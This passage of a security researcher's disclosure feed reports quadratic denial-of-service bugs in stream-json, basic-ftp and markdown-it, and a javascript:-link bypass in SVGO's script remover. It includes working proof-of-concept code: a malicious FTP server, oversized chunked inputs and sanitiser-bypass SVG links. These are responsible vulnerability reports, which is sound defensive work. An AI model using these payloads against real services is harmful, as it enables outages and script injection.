<span class="line"><span style="color:var(--code-token-constant)">    stream</span><span style="color:var(--code-token-function)">.on</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">'data'</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> () </span><span style="color:var(--code-token-keyword)">=></span><span style="color:var(--code-foreground)"> {});</span></span>
<span class="line"><span style="color:var(--code-token-constant)">    stream</span><span style="color:var(--code-token-function)">.on</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">'error'</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> () </span><span style="color:var(--code-token-keyword)">=></span><span style="color:var(--code-foreground)"> {});</span></span>
<span class="line"><span style="color:var(--code-token-constant)">    stream</span><span style="color:var(--code-token-function)">.on</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">'end'</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> resolve);</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">    const</span><span style="color:var(--code-token-constant)"> doc</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-string-expression)"> '/*'</span><span style="color:var(--code-token-keyword)"> +</span><span style="color:var(--code-token-string-expression)"> 'a'</span><span style="color:var(--code-token-function)">.repeat</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-constant)">N</span><span style="color:var(--code-foreground)">) </span><span style="color:var(--code-token-keyword)">+</span><span style="color:var(--code-token-string-expression)"> '*/1'</span><span style="color:var(--code-foreground)">;     </span><span style="color:var(--code-token-comment)">// one valid, closed comment</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">    for</span><span style="color:var(--code-foreground)"> (</span><span style="color:var(--code-token-keyword)">let</span><span style="color:var(--code-foreground)"> i </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-constant)"> 0</span><span style="color:var(--code-foreground)">; i </span><span style="color:var(--code-token-keyword)">&#x3C;</span><span style="color:var(--code-token-constant)"> doc</span><span style="color:var(--code-foreground)">.</span><span style="color:var(--code-token-constant)">length</span><span style="color:var(--code-foreground)">; i </span><span style="color:var(--code-token-keyword)">+=</span><span style="color:var(--code-token-constant)"> 16384</span><span style="color:var(--code-foreground)">)   </span><span style="color:var(--code-token-comment)">// 16 KB pieces, as a socket delivers a body</span></span>
<span class="line"><span style="color:var(--code-token-constant)">      stream</span><span style="color:var(--code-token-function)">.write</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-constant)">doc</span><span style="color:var(--code-token-function)">.slice</span><span style="color:var(--code-foreground)">(i</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> i </span><span style="color:var(--code-token-keyword)">+</span><span style="color:var(--code-token-constant)"> 16384</span><span style="color:var(--code-foreground)">));</span></span>
<span class="line"><span style="color:var(--code-token-constant)">    stream</span><span style="color:var(--code-token-function)">.end</span><span style="color:var(--code-foreground)">();</span></span>
<span class="line"><span style="color:var(--code-foreground)">  });</span></span>
<span class="line"><span style="color:var(--code-foreground)">}</span></span></code></pre>
<p>Timing the pipeline (Node 22, one core, clean install): a 2 MB comment blocks the event loop ~0.9 s, 4 MB ~2.9 s, 8 MB ~13 s - roughly 4x per doubling, so quadratic. Smaller chunks make it worse, and the attacker controls TCP segment size: a fixed 4 MB comment takes ~0.75 s at 64 KB chunks, ~2.8 s at 16 KB, ~11 s at 4 KB. Feeding the same input to the JSONC verifier reproduces it identically.</p>
<h2 id="impact"><a href="https://security.peng.ly/reports/stream-json-jsonc-comment-quadratic-dos#impact">Impact</a></h2>
<p>Remote, unauthenticated CPU denial of service against any service that runs untrusted input through the JSONC parser or verifier: one request pins a core and stalls the whole event loop.</p>
<h2 id="caveat"><a href="https://security.peng.ly/reports/stream-json-jsonc-comment-quadratic-dos#caveat">Caveat</a></h2>
<p>Only the JSONC entry points are affected; an app on the default JSON parser is safe. The comment doesn't need to be malformed - a valid, properly closed comment does it. The payload is a few MB, or less if the client sends small chunks. I've suggested medium and left the CVSS vector to you.</p>
<hr>
<h2 id="maintainer-note-on-scope"><a href="https://security.peng.ly/reports/stream-json-jsonc-comment-quadratic-dos#maintainer-note-on-scope">Maintainer note on scope</a></h2>
<p>The attack vector is local - stream-json's documented input is data the user owns (JSONC is configuration you wrote); it is not designed for input from the open internet, and the docs now say so explicitly for JSONC. Comments now mirror chunked strings (<code>startComment</code> / <code>commentChunk</code> / <code>endComment</code>, packed <code>commentValue</code>); the scan resumes across input chunks, so a comment of any length costs linear time, and constant memory without packing.</p>]]></content:encoded>
      <category>CWE-407: Inefficient Algorithmic Complexity</category>
      <enclosure url="https://security.peng.ly/og/stream-json-jsonc-comment-quadratic-dos.png" type="image/png" length="111024" />
    </item>
    <item>
      <title>Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)</title>
      <link>https://security.peng.ly/reports/basic-ftp-directory-listing-quadratic-dos</link>
      <guid isPermaLink="true">https://security.peng.ly/reports/basic-ftp-directory-listing-quadratic-dos</guid>
      <pubDate>Thu, 27 Aug 2026 00:00:00 GMT</pubDate>
      <description>patrickjuchli/basic-ftp: List a directory on a malicious FTP server and one crafted line in the reply can freeze your whole Node process for as long as the server likes.</description>
      <content:encoded><![CDATA[<h2 id="summary"><a href="https://security.peng.ly/reports/basic-ftp-directory-listing-quadratic-dos#summary">Summary</a></h2>
<p><code>Client.list()</code> parses the server's directory listing with the Unix-style parser in <code>parseListUnix.js</code>. Its <code>RE_LINE</code> regex has two adjacent <code>(\S+(?:\s\S+)*)</code> groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length.</p>
<p>The server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. <code>parseList()</code> picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.</p>
<h2 id="proof-of-concept"><a href="https://security.peng.ly/reports/basic-ftp-directory-listing-quadratic-dos#proof-of-concept">Proof of concept</a></h2>
<p><code>npm i basic-ftp &#x26;&#x26; node repro.js</code>:</p>
<pre class="shiki tokens" style="background-color:var(--code-background);color:var(--code-foreground)" tabindex="0"><code><span class="line"><span style="color:var(--code-token-keyword)">const</span><span style="color:var(--code-token-constant)"> net</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-function)"> require</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"net"</span><span style="color:var(--code-foreground)">)</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-constant)"> ftp</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-function)"> require</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"basic-ftp"</span><span style="color:var(--code-foreground)">);</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">const</span><span style="color:var(--code-token-constant)"> KB</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-function)"> Number</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-constant)">process</span><span style="color:var(--code-foreground)">.</span><span style="color:var(--code-token-constant)">env</span><span style="color:var(--code-foreground)">.</span><span style="color:var(--code-token-constant)">LINE_KB</span><span style="color:var(--code-token-keyword)"> ||</span><span style="color:var(--code-token-constant)"> 128</span><span style="color:var(--code-foreground)">);</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">const</span><span style="color:var(--code-token-constant)"> payload</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-string-expression)"> "-rw-r--r-- 1 "</span><span style="color:var(--code-token-keyword)"> +</span><span style="color:var(--code-token-string-expression)"> "a "</span><span style="color:var(--code-token-function)">.repeat</span><span style="color:var(--code-foreground)">((</span><span style="color:var(--code-token-constant)">KB</span><span style="color:var(--code-token-keyword)"> *</span><span style="color:var(--code-token-constant)"> 1024</span><span style="color:var(--code-token-keyword)"> -</span><span style="color:var(--code-token-constant)"> 13</span><span style="color:var(--code-foreground)">) </span><span style="color:var(--code-token-keyword)">/</span><span style="color:var(--code-token-constant)"> 2</span><span style="color:var(--code-foreground)">) </span><span style="color:var(--code-token-keyword)">+</span><span style="color:var(--code-token-string-expression)"> "!"</span><span style="color:var(--code-foreground)">;</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">const</span><span style="color:var(--code-token-constant)"> listing</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-foreground)"> payload </span><span style="color:var(--code-token-keyword)">+</span><span style="color:var(--code-token-string-expression)"> "\r\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\r\n"</span><span style="color:var(--code-foreground)">;</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">const</span><span style="color:var(--code-token-constant)"> server</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-constant)"> net</span><span style="color:var(--code-token-function)">.createServer</span><span style="color:var(--code-foreground)">(c </span><span style="color:var(--code-token-keyword)">=></span><span style="color:var(--code-foreground)"> {</span></span>
<span class="line"><span style="color:var(--code-token-constant)">  c</span><span style="color:var(--code-token-function)">.setEncoding</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"latin1"</span><span style="color:var(--code-foreground)">); </span><span style="color:var(--code-token-constant)">c</span><span style="color:var(--code-token-function)">.write</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"220 ok\r\n"</span><span style="color:var(--code-foreground)">); </span><span style="color:var(--code-token-keyword)">let</span><span style="color:var(--code-foreground)"> buf </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-string-expression)"> ""</span><span style="color:var(--code-foreground)">;</span></span>
<span class="line"><span style="color:var(--code-token-constant)">  c</span><span style="color:var(--code-token-function)">.on</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"data"</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> d </span><span style="color:var(--code-token-keyword)">=></span><span style="color:var(--code-foreground)"> { buf </span><span style="color:var(--code-token-keyword)">+=</span><span style="color:var(--code-foreground)"> d; </span><span style="color:var(--code-token-keyword)">let</span><span style="color:var(--code-foreground)"> i;</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">    while</span><span style="color:var(--code-foreground)"> ((i </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-constant)"> buf</span><span style="color:var(--code-token-function)">.indexOf</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"\r\n"</span><span style="color:var(--code-foreground)">)) </span><span style="color:var(--code-token-keyword)">!==</span><span style="color:var(--code-token-keyword)"> -</span><span style="color:var(--code-token-constant)">1</span><span style="color:var(--code-foreground)">) {</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">      const</span><span style="color:var(--code-token-constant)"> cmd</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-constant)"> buf</span><span style="color:var(--code-token-function)">.slice</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-constant)">0</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> i)</span><span style="color:var(--code-token-function)">.toUpperCase</span><span style="color:var(--code-foreground)">(); buf </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-constant)"> buf</span><span style="color:var(--code-token-function)">.slice</span><span style="color:var(--code-foreground)">(i </span><span style="color:var(--code-token-keyword)">+</span><span style="color:var(--code-token-constant)"> 2</span><span style="color:var(--code-foreground)">);</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">      if</span><span style="color:var(--code-foreground)"> (</span><span style="color:var(--code-token-constant)">cmd</span><span style="color:var(--code-token-function)">.startsWith</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"USER"</span><span style="color:var(--code-foreground)">)) </span><span style="color:var(--code-token-constant)">c</span><span style="color:var(--code-token-function)">.write</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"331 .\r\n"</span><span style="color:var(--code-foreground)">);</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">      else</span><span style="color:var(--code-token-keyword)"> if</span><span style="color:var(--code-foreground)"> (</span><span style="color:var(--code-token-constant)">cmd</span><span style="color:var(--code-token-function)">.startsWith</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"PASS"</span><span style="color:var(--code-foreground)">)) </span><span style="color:var(--code-token-constant)">c</span><span style="color:var(--code-token-function)">.write</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"230 .\r\n"</span><span style="color:var(--code-foreground)">);</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">      else</span><span style="color:var(--code-token-keyword)"> if</span><span style="color:var(--code-foreground)"> (</span><span style="color:var(--code-token-constant)">cmd</span><span style="color:var(--code-token-function)">.startsWith</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"FEAT"</span><span style="color:var(--code-foreground)">)) </span><span style="color:var(--code-token-constant)">c</span><span style="color:var(--code-token-function)">.write</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"211-x\r\n UTF8\r\n211 End\r\n"</span><span style="color:var(--code-foreground)">);</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">      else</span><span style="color:var(--code-token-keyword)"> if</span><span style="color:var(--code-foreground)"> (</span><span style="color:var(--code-token-constant)">cmd</span><span style="color:var(--code-token-function)">.startsWith</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"EPSV"</span><span style="color:var(--code-foreground)">)) { </span><span style="color:var(--code-token-keyword)">const</span><span style="color:var(--code-token-constant)"> ds</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-constant)"> net</span><span style="color:var(--code-token-function)">.createServer</span><span style="color:var(--code-foreground)">(s </span><span style="color:var(--code-token-keyword)">=></span><span style="color:var(--code-foreground)"> { </span><span style="color:var(--code-token-constant)">s</span><span style="color:var(--code-token-function)">.write</span><span style="color:var(--code-foreground)">(listing); </span><span style="color:var(--code-token-constant)">s</span><span style="color:var(--code-token-function)">.end</span><span style="color:var(--code-foreground)">(); });</span></span>
<span class="line"><span style="color:var(--code-token-constant)">        ds</span><span style="color:var(--code-token-function)">.listen</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-constant)">0</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-string-expression)"> "127.0.0.1"</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> () </span><span style="color:var(--code-token-keyword)">=></span><span style="color:var(--code-token-constant)"> c</span><span style="color:var(--code-token-function)">.write</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">`229 (|||</span><span style="color:var(--code-token-keyword)">${</span><span style="color:var(--code-token-constant)">ds</span><span style="color:var(--code-token-function)">.address</span><span style="color:var(--code-foreground)">().port</span><span style="color:var(--code-token-keyword)">}</span><span style="color:var(--code-token-string-expression)">|)\r\n`</span><span style="color:var(--code-foreground)">)); }</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">      else</span><span style="color:var(--code-token-keyword)"> if</span><span style="color:var(--code-foreground)"> (</span><span style="color:var(--code-token-constant)">cmd</span><span style="color:var(--code-token-function)">.startsWith</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"LIST"</span><span style="color:var(--code-foreground)">)) { </span><span style="color:var(--code-token-constant)">c</span><span style="color:var(--code-token-function)">.write</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"150 .\r\n"</span><span style="color:var(--code-foreground)">); </span><span style="color:var(--code-token-function)">setTimeout</span><span style="color:var(--code-foreground)">(() </span><span style="color:var(--code-token-keyword)">=></span><span style="color:var(--code-token-constant)"> c</span><span style="color:var(--code-token-function)">.write</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"226 .\r\n"</span><span style="color:var(--code-foreground)">)</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-constant)"> 50</span><span style="color:var(--code-foreground)">); }</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">      else</span><span style="color:var(--code-token-constant)"> c</span><span style="color:var(--code-token-function)">.write</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">"200 .\r\n"</span><span style="color:var(--code-foreground)">); } });</span></span>
<span class="line"><span style="color:var(--code-foreground)">});</span></span>
<span class="line"><span style="color:var(--code-token-constant)">server</span><span style="color:var(--code-token-function)">.listen</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-constant)">0</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-string-expression)"> "127.0.0.1"</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-keyword)"> async</span><span style="color:var(--code-foreground)"> () </span><span style="color:var(--code-token-keyword)">=></span><span style="color:var(--code-foreground)"> {</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">  const</span><span style="color:var(--code-token-constant)"> client</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-keyword)"> new</span><span style="color:var(--code-token-constant)"> ftp</span><span style="color:var(--code-token-function)">.Client</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-constant)">0</span><span style="color:var(--code-foreground)">);</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">  await</span><span style="color:var(--code-token-constant)"> client</span><span style="color:var(--code-token-function)">.access</span><span style="color:var(--code-foreground)">({ host</span><span style="color:var(--code-token-keyword)">:</span><span style="color:var(--code-token-string-expression)"> "127.0.0.1"</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> port</span><span style="color:var(--code-token-keyword)">:</span><span style="color:var(--code-token-constant)"> server</span><span style="color:var(--code-token-function)">.address</span><span style="color:var(--code-foreground)">().port</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> user</span><span style="color:var(--code-token-keyword)">:</span><span style="color:var(--code-token-string-expression)"> "x"</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> password</span><span style="color:var(--code-token-keyword)">:</span><span style="color:var(--code-token-string-expression)"> "y"</span><span style="color:var(--code-foreground)"> });</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">  let</span><span style="color:var(--code-foreground)"> beats </span><span style="color:var(--code-token-keyword)">=</span><span style="color:var(--code-token-constant)"> 0</span><span style="color:var(--code-foreground)">; </span><span style="color:var(--code-token-keyword)">const</span><span style="color:var(--code-token-constant)"> hb</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-function)"> setInterval</span><span style="color:var(--code-foreground)">(() </span><span style="color:var(--code-token-keyword)">=></span><span style="color:var(--code-foreground)"> beats</span><span style="color:var(--code-token-keyword)">++</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-token-constant)"> 1000</span><span style="color:var(--code-foreground)">); </span><span style="color:var(--code-token-keyword)">const</span><span style="color:var(--code-token-constant)"> t</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-constant)"> Date</span><span style="color:var(--code-token-function)">.now</span><span style="color:var(--code-foreground)">();</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">  await</span><span style="color:var(--code-token-constant)"> client</span><span style="color:var(--code-token-function)">.list</span><span style="color:var(--code-foreground)">(); </span><span style="color:var(--code-token-function)">clearInterval</span><span style="color:var(--code-foreground)">(hb);</span></span>
<span class="line"><span style="color:var(--code-token-constant)">  console</span><span style="color:var(--code-token-function)">.log</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">`list() blocked </span><span style="color:var(--code-token-keyword)">${</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-constant)">Date</span><span style="color:var(--code-token-function)">.now</span><span style="color:var(--code-foreground)">() </span><span style="color:var(--code-token-keyword)">-</span><span style="color:var(--code-foreground)"> t) </span><span style="color:var(--code-token-keyword)">/</span><span style="color:var(--code-token-constant)"> 1000</span><span style="color:var(--code-token-keyword)">}</span><span style="color:var(--code-token-string-expression)">s; heartbeats fired: </span><span style="color:var(--code-token-keyword)">${</span><span style="color:var(--code-foreground)">beats</span><span style="color:var(--code-token-keyword)">}</span><span style="color:var(--code-token-string-expression)">`</span><span style="color:var(--code-foreground)">);</span></span>
<span class="line"><span style="color:var(--code-token-constant)">  process</span><span style="color:var(--code-token-function)">.exit</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-constant)">0</span><span style="color:var(--code-foreground)">);</span></span>
<span class="line"><span style="color:var(--code-foreground)">});</span></span></code></pre>
<p>Prints <code>list() blocked 39.75s; heartbeats fired: 0</code>, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. <code>maxListingBytes</code> defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.</p>
<h2 id="impact"><a href="https://security.peng.ly/reports/basic-ftp-directory-listing-quadratic-dos#impact">Impact</a></h2>
<p>One directory listing freezes the whole process, under default options, through the primary API. This is the same "malicious FTP server causes client-side denial of service" shape as GHSA-rp42-5vxx-qpwr, also in <code>Client.list()</code> and rated high. The byte cap added there bounds memory, not the parser's CPU cost.</p>
<h2 id="uncertainty"><a href="https://security.peng.ly/reports/basic-ftp-directory-listing-quadratic-dos#uncertainty">Uncertainty</a></h2>
<p>Verified on 6.2.0 (latest). Severity depends on deployment: an app that connects once, interactively, to a trusted server is closer to medium; one that polls servers, or where a configured server is later compromised, matches the prior advisory's high. I'll leave the CVSS to you. The DOS-style parser in <code>parseListDOS.js</code> has a similar unanchored regex and may share this, so it's worth covering in the same fix, though I only reproduced the Unix path.</p>]]></content:encoded>
      <category>CWE-1333: Inefficient Regular Expression Complexity</category>
      <enclosure url="https://security.peng.ly/og/basic-ftp-directory-listing-quadratic-dos.png" type="image/png" length="87061" />
    </item>
    <item>
      <title>linkify: true has two quadratic paths, so a few hundred KB of markdown blocks the event loop for tens of seconds</title>
      <link>https://security.peng.ly/reports/markdown-it-linkify-quadratic-dos</link>
      <guid isPermaLink="true">https://security.peng.ly/reports/markdown-it-linkify-quadratic-dos</guid>
      <pubDate>Thu, 27 Aug 2026 00:00:00 GMT</pubDate>
      <description>markdown-it/markdown-it: With linkify switched on, a few hundred KB of fairly ordinary markdown blocks the event loop for tens of seconds, so one post can stall a Node app.</description>
      <content:encoded><![CDATA[<h2 id="summary"><a href="https://security.peng.ly/reports/markdown-it-linkify-quadratic-dos#summary">Summary</a></h2>
<p>Two independent quadratic paths in the <code>linkify: true</code> handling. Both are in markdown-it's own code rather than in linkify-it, which stays linear on both payloads.</p>
<p><code>src/rules_core/linkify.ts</code> calls <code>arrayReplaceAt</code> once per linkified text token, and that rebuilds the whole <code>children</code> array each time. A paragraph of N soft-broken lines is one inline token with about 2N children, so you get N rebuilds over a 2N array. Schema-less emails are what reach it. A <code>http://</code> link gets consumed by the inline rule first and never arrives as a text token, so those stay linear.</p>
<p><code>src/rules_inline/linkify.ts</code> runs <code>state.pending.match(SCHEME_RE)</code> at every <code>://</code> in the source. <code>state.pending</code> only gets truncated once a link is actually produced, so an unregistered scheme leaves it growing and every <code>://</code> rescans the lot.</p>
<h2 id="proof-of-concept"><a href="https://security.peng.ly/reports/markdown-it-linkify-quadratic-dos#proof-of-concept">Proof of concept</a></h2>
<p>Clean install of 15.0.0 from npm, <code>new MarkdownIt({ linkify: true }).render(payload)</code>, Node 24.</p>
<table>
<thead>
<tr>
<th>N</th>
<th>5,000</th>
<th>10,000</th>
<th>20,000</th>
<th>40,000</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>'a@b.co\n'.repeat(N)</code>, 34KB to 273KB</td>
<td>1.1s</td>
<td>4.7s</td>
<td>19.6s</td>
<td>89s</td>
</tr>
<tr>
<td><code>'a://'.repeat(N)</code>, 20KB to 156KB</td>
<td>0.25s</td>
<td>0.76s</td>
<td>3.1s</td>
<td>15.0s</td>
</tr>
</tbody>
</table>
<p>Doubling the input roughly quadruples the time in both. With <code>linkify: false</code> the same inputs run in 25 to 131ms and stay flat.</p>
<p>Controls for the first one, all at N=20000: putting every email in a single text token (<code>'a@b.co '</code>) takes 0.59s, one email per paragraph (<code>'a@b.co\n\n'</code>) takes 0.64s, and soft-broken lines with nothing linkifiable take 42ms. So it needs many children AND many of them linkifying. For the second, replaying just the <code>SCHEME_RE</code> calls against the same growing prefixes with no markdown-it involved accounts for 11.7s of the 15s.</p>
<p>Ordinary prose does it too. <code>'ping a@b.co ok\n'.repeat(20000)</code> is 293KB and takes 31s.</p>
<h2 id="caveat"><a href="https://security.peng.ly/reports/markdown-it-linkify-quadratic-dos#caveat">Caveat</a></h2>
<p><code>linkify</code> is off by default, so this only reaches apps that turn it on. I've no numbers on how common that is, so I'd take your read over mine.</p>
<p>Severity is the bit I'm least sure about. GHSA-6v5v-wf23-fmfq looks like the closest thing you've published, same class and the same non-default-option gate, and that went out as medium, which is why I've suggested medium here rather than high.</p>
<p>I only tested 15.0.0, so treat the version range as untested below that.</p>
<h2 id="impact"><a href="https://security.peng.ly/reports/markdown-it-linkify-quadratic-dos#impact">Impact</a></h2>
<p>Availability only. A few hundred KB of fairly ordinary markdown pins one core for tens of seconds, and because it's quadratic it degrades quickly with size. Nothing is read, written or executed.</p>]]></content:encoded>
      <category>CWE-400: Uncontrolled Resource Consumption</category><category>CWE-407: Inefficient Algorithmic Complexity</category>
      <enclosure url="https://security.peng.ly/og/markdown-it-linkify-quadratic-dos.png" type="image/png" length="78529" />
    </item>
    <item>
      <title>removeScripts allows executable links through namespace and control-character bypasses</title>
      <link>https://security.peng.ly/reports/svgo-removescripts-link-bypass</link>
      <guid isPermaLink="true">https://security.peng.ly/reports/svgo-removescripts-link-bypass</guid>
      <pubDate>Mon, 24 Aug 2026 00:00:00 GMT</pubDate>
      <description>svg/svgo: Two tricks get JavaScript links past SVGO&#39;s removeScripts plugin, so an uploaded SVG that&#39;s been through it can still run code when someone clicks the link.</description>
      <content:encoded><![CDATA[<h2 id="summary"><a href="https://security.peng.ly/reports/svgo-removescripts-link-bypass#summary">Summary</a></h2>
<p>The <code>removeScripts</code> plugin is SVGO's documented way to strip JavaScript out of untrusted SVGs, and part of that is collapsing <code>&#x3C;a></code> elements whose links use <code>javascript:</code>. Two <code>javascript:</code> links still get past it in 4.0.2, both the same shape as the ones GHSA-2p49-hgcm-8545 just fixed:</p>
<ul>
<li>A namespace-prefixed anchor. That fix made the <code>&#x3C;script></code> check namespace-aware, but the anchor href check right below it is still gated on <code>node.name === 'a'</code>, so <code>&#x3C;svg:a xlink:href="javascript:..."></code> (svg prefix bound to the SVG namespace) is never inspected. Same trick as the <code>&#x3C;svg:script></code> case, on the link element instead.</li>
<li>A <code>javascript:</code> scheme with an embedded control character. The check is <code>value.trimStart().toLowerCase().startsWith('javascript:')</code>, so <code>java&#x26;#9;script:...</code> (a tab, or <code>&#x26;#10;</code> / <code>&#x26;#13;</code>) doesn't match and the link survives. Browsers remove ASCII tab/newline/CR from a URL before reading the scheme, so it still runs.</li>
</ul>
<p>Both are on <code>main</code> too: the just-merged <code>isExecutableUrl</code> (PR #2263) keeps the same <code>trimStart().startsWith(...)</code>, and the anchor is still gated on <code>node.name === 'a'</code>.</p>
<h2 id="proof-of-concept"><a href="https://security.peng.ly/reports/svgo-removescripts-link-bypass#proof-of-concept">Proof of concept</a></h2>
<p><code>npm i svgo@4.0.2</code>, then run:</p>
<pre class="shiki tokens" style="background-color:var(--code-background);color:var(--code-foreground)" tabindex="0"><code><span class="line"><span style="color:var(--code-token-keyword)">import</span><span style="color:var(--code-foreground)"> { optimize } </span><span style="color:var(--code-token-keyword)">from</span><span style="color:var(--code-token-string-expression)"> 'svgo'</span><span style="color:var(--code-foreground)">;</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">const</span><span style="color:var(--code-token-function)"> run</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-foreground)"> (svg) </span><span style="color:var(--code-token-keyword)">=></span><span style="color:var(--code-token-function)"> optimize</span><span style="color:var(--code-foreground)">(svg</span><span style="color:var(--code-token-punctuation)">,</span><span style="color:var(--code-foreground)"> { plugins</span><span style="color:var(--code-token-keyword)">:</span><span style="color:var(--code-foreground)"> [</span><span style="color:var(--code-token-string-expression)">'removeScripts'</span><span style="color:var(--code-foreground)">] }).data;</span></span>
<span class="line"><span style="color:var(--code-token-keyword)">const</span><span style="color:var(--code-token-constant)"> ns</span><span style="color:var(--code-token-keyword)"> =</span><span style="color:var(--code-token-string-expression)"> 'xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:svg="http://www.w3.org/2000/svg"'</span><span style="color:var(--code-foreground)">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:var(--code-token-constant)">console</span><span style="color:var(--code-token-function)">.log</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-function)">run</span><span style="color:var(--code-foreground)">(</span><span style="color:var(--code-token-string-expression)">`&#x3C;svg </span><span style="color:var(--code-token-keyword)">${</span><span style="color:var(--code-foreground)">ns</span><span style="color:var(--code-token-keyword)">}</span><span style="color:var(--code-token-string-expression)">>&#x3C;a href="javascript:alert(1)">&#x3C;text>x&#x3C;/text>&#x3C;/a>&#x3C;/svg>`</span><span style="color:var(--code-foreground)">));     </span><span style="color:var(--code-token-comment)">// collapsed (good)</span></span>
